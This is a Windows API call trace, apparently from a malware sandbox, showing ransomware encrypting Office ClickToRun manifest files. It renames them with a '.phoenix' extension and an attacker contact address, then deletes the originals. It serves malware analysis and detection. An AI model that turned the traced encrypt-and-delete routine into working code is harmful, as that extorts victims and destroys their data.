	[0224.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.339] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1514c0) returned 1
	[0224.339] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.339] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x7fa, lpOverlapped=0x0) returned 1
	[0224.350] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x800, dwBufLen=0x800 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x800) returned 1
	[0224.350] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x800, lpOverlapped=0x0) returned 1
	[0224.351] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0224.351] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.351] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70, dwBufLen=0x70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70) returned 1
	[0224.351] CryptDestroyKey (hKey=0x151700) returned 1
	[0224.351] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x122, lpOverlapped=0x0) returned 1
	[0224.351] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0224.351] CloseHandle (hObject=0x2c4) returned 1
	[0224.351] CloseHandle (hObject=0x2e8) returned 1
	[0224.352] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml")) returned 1
	[0224.353] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0224.353] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.353] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=77386) returned 1
	[0224.353] CloseHandle (hObject=0x2e8) returned 1
	[0224.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 0x20
	[0224.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.354] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.354] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0224.354] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0224.354] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.354] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0224.354] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.354] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x12e4a, lpOverlapped=0x0) returned 1
	[0224.375] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x12e50, dwBufLen=0x12e50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x12e50) returned 1
	[0224.375] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x12e50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x12e50, lpOverlapped=0x0) returned 1
	[0224.377] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0224.377] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.377] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0, dwBufLen=0xa0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0) returned 1
	[0224.377] CryptDestroyKey (hKey=0x151680) returned 1
	[0224.378] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x152, lpOverlapped=0x0) returned 1
	[0224.378] CryptDestroyKey (hKey=0x151100) returned 1
	[0224.378] CloseHandle (hObject=0x2e8) returned 1
	[0224.378] CloseHandle (hObject=0x2c4) returned 1
	[0224.380] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 1
	[0224.382] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0224.382] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.382] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=14132) returned 1
	[0224.382] CloseHandle (hObject=0x2c4) returned 1
	[0224.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml")) returned 0x20
	[0224.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.382] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.382] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0224.382] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0224.382] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.383] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151580) returned 1
	[0224.383] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.383] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3734, lpOverlapped=0x0) returned 1
	[0224.738] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3740, dwBufLen=0x3740 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3740) returned 1
	[0224.738] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3740, lpOverlapped=0x0) returned 1
	[0224.739] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1511c0) returned 1
	[0224.740] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.740] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0224.740] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0224.740] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0224.740] CryptDestroyKey (hKey=0x151580) returned 1
	[0224.740] CloseHandle (hObject=0x2c4) returned 1
	[0224.740] CloseHandle (hObject=0x2e8) returned 1
	[0224.742] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml")) returned 1
	[0224.743] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0224.743] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.745] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=174846) returned 1
	[0224.745] CloseHandle (hObject=0x2e8) returned 1
	[0224.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 0x20
	[0224.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.745] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.745] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0224.745] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0224.745] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.746] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151280) returned 1
	[0224.746] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.746] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2aafe, lpOverlapped=0x0) returned 1
	[0224.792] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2ab00, dwBufLen=0x2ab00 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2ab00) returned 1
	[0224.793] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2ab00, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2ab00, lpOverlapped=0x0) returned 1
	[0224.796] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0224.796] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0224.796] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90, dwBufLen=0x90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90) returned 1
	[0224.796] CryptDestroyKey (hKey=0x151740) returned 1
	[0224.796] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x142, lpOverlapped=0x0) returned 1
	[0224.796] CryptDestroyKey (hKey=0x151280) returned 1
	[0224.796] CloseHandle (hObject=0x2e8) returned 1
	[0224.796] CloseHandle (hObject=0x2c4) returned 1
	[0225.255] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 1
	[0225.258] SetEvent (hEvent=0x298) returned 1
	[0225.258] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.258] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.258] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=86894) returned 1
	[0225.258] CloseHandle (hObject=0x2e8) returned 1
	[0225.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 0x20
	[0225.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.259] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.259] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.259] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.259] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.259] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1514c0) returned 1
	[0225.260] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.260] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1536e, lpOverlapped=0x0) returned 1
	[0225.266] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x15370, dwBufLen=0x15370 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x15370) returned 1
	[0225.266] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x15370, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x15370, lpOverlapped=0x0) returned 1
	[0225.268] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0225.268] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.268] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0225.268] CryptDestroyKey (hKey=0x151700) returned 1
	[0225.268] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0225.269] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0225.269] CloseHandle (hObject=0x2e8) returned 1
	[0225.269] CloseHandle (hObject=0x2c4) returned 1
	[0225.272] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 1
	[0225.284] SetEvent (hEvent=0x298) returned 1
	[0225.284] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
